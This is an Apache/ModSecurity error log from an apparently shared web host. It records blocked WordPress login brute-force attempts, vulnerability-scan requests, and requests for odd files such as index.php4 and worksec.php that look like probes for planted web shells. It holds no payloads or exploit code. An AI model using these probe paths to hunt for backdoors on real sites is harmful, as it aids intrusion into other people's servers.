/home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:10.852753 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.31:26896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:10.937331 2026] [security2:error] [pid 715691:tid 715896] [client 159.223.112.69:35262] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQzzQAAAUE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.972530 2026] [security2:error] [pid 715691:tid 715918] [client 159.223.112.69:35264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305rV-dFiaX9AtWiQz0gAAAVc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:10.973732 2026] [security2:error] [pid 715691:tid 715745] [remote 17.246.23.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305rV-dFiaX9AtWiQz0AABcyM"] [Sat Jun 13 18:25:10.978736 2026] [security2:error] [pid 646876:tid 646991] [remote 17.22.245.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305tyTkdrNlD40tSHeZgAARnA"] [Sat Jun 13 18:25:11.157471 2026] [security2:error] [pid 646876:tid 647037] [client 159.223.112.69:35276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3059yTkdrNlD40tSHeawAAAB0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:11.231129 2026] [security2:error] [pid 715691:tid 715875] [client 159.223.112.69:35284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3057V-dFiaX9AtWiQz4AAAASw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:11.278033 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 18:25:11.278303 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 18:25:11.412834 2026] [security2:error] [pid 646876:tid 646965] [remote 17.241.227.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3059yTkdrNlD40tSHecAAAelY"] [Sat Jun 13 18:25:11.451323 2026] [security2:error] [pid 715691:tid 715841] [client 159.223.112.69:35292] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3057V-dFiaX9AtWiQz6wAAAQo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:11.486368 2026] [access_compat:error] [pid 715691:tid 715936] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/widgets/index.php, referer: http://krosscorp.us/wp-admin/js/widgets/ [Sat Jun 13 18:25:11.489555 2026] [access_compat:error] [pid 715691:tid 715936] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/widgets/index.phtml, referer: http://krosscorp.us/wp-admin/js/widgets/ [Sat Jun 13 18:25:11.503249 2026] [access_compat:error] [pid 715691:tid 715936] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-admin/js/widgets/index.php5, referer: http://krosscorp.us/wp-admin/js/widgets/ [Sat Jun 13 18:25:11.621608 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.110:38200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:11.622053 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.110:38200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:11.622096 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.92:57692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:11.622525 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.92:57692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:11.668430 2026] [security2:error] [pid 715691:tid 715854] [client 159.223.112.69:35294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3057V-dFiaX9AtWiQz9wAAARc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:11.686729 2026] [proxy:error] [pid 646876:tid 647011] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:25:11.686803 2026] [proxy_http:error] [pid 646876:tid 647011] [client 195.96.139.36:38631] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:25:11.688521 2026] [proxy:error] [pid 646876:tid 647011] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:25:11.688584 2026] [proxy_http:error] [pid 646876:tid 647011] [client 195.96.139.36:38631] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:25:11.816900 2026] [security2:error] [pid 715691:tid 715865] [client 185.199.157.17:60785] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/worksec.php"] [unique_id "ai3057V-dFiaX9AtWiQz_QAAASI"] [Sat Jun 13 18:25:11.820471 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:25:11.820889 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:25:11.825514 2026] [security2:error] [pid 646876:tid 646937] [remote 40.77.167.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.167.77.40.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayutd.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3059yTkdrNlD40tSHeggAANTo"] [Sat Jun 13 18:25:11.893078 2026] [security2:error] [pid 715691:tid 715926] [client 159.223.112.69:35302] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3057V-dFiaX9AtWiQ0AQAAAV8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:11.955848 2026] [security2:error] [pid 715691:tid 715731] [remote 17.246.15.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3057V-dFiaX9AtWiQ0BQABPBU"] [Sat Jun 13 18:25:12.118965 2026] [security2:error] [pid 715691:tid 715892] [client 159.223.112.69:35308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306LV-dFiaX9AtWiQ0CAAAAT0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:12.339260 2026] [security2:error] [pid 715691:tid 715945] [client 159.223.112.69:35320] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306LV-dFiaX9AtWiQ0EgAAAXI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:12.360545 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:12.361032 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:12.438973 2026] [security2:error] [pid 646876:tid 647010] [client 185.199.157.12:63221] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "ai306NyTkdrNlD40tSHejAAAAAI"] [Sat Jun 13 18:25:12.464559 2026] [security2:error] [pid 715691:tid 715893] [client 192.178.6.38:45977] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai306LV-dFiaX9AtWiQ0FAAAAT4"] [Sat Jun 13 18:25:12.541296 2026] [security2:error] [pid 715691:tid 715882] [client 159.223.112.69:35330] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306LV-dFiaX9AtWiQ0FwAAATM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:12.625141 2026] [security2:error] [pid 715691:tid 715757] [remote 2.56.111.20:44492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.111.56.2.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "drebok.com"] [uri "/wp-login.php"] [unique_id "ai306LV-dFiaX9AtWiQ0HwABGC4"] [Sat Jun 13 18:25:12.733485 2026] [security2:error] [pid 646876:tid 647071] [client 159.223.112.69:35336] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306NyTkdrNlD40tSHekAAAAD8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:12.750016 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.75:44066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:12.750444 2026] [access_compat:error] [pid 715691:tid 715788] [remote 57.141.14.75:44066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:12.762688 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.5:20671] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:12.763142 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.5:20671] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:12.820475 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.77:56789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:12.820827 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.77:56789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:12.925568 2026] [security2:error] [pid 646876:tid 647077] [client 159.223.112.69:35342] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306NyTkdrNlD40tSHelgAAAEU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:12.934813 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:25:12.935266 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:25:13.002576 2026] [security2:error] [pid 646876:tid 647003] [remote 17.241.227.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai306NyTkdrNlD40tSHemAAAQ3w"] [Sat Jun 13 18:25:13.023356 2026] [security2:error] [pid 715691:tid 715831] [remote 2.56.111.20:44492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.111.56.2.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "drebok.com"] [uri "/wp-login.php"] [unique_id "ai306bV-dFiaX9AtWiQ0MAABL3g"], referer: https://drebok.com/wp-login.php [Sat Jun 13 18:25:13.119867 2026] [security2:error] [pid 715691:tid 715932] [client 159.223.112.69:35350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306bV-dFiaX9AtWiQ0OgAAAWU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.175432 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:35366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306bV-dFiaX9AtWiQ0PQAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.210877 2026] [security2:error] [pid 715691:tid 715725] [remote 17.22.253.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai306bV-dFiaX9AtWiQ0PgABNg8"] [Sat Jun 13 18:25:13.312714 2026] [security2:error] [pid 715691:tid 715859] [client 159.223.112.69:35368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306bV-dFiaX9AtWiQ0QgAAARw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.376812 2026] [security2:error] [pid 646876:tid 647037] [client 159.223.112.69:35378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai306dyTkdrNlD40tSHeoAAAAB0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:13.455304 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 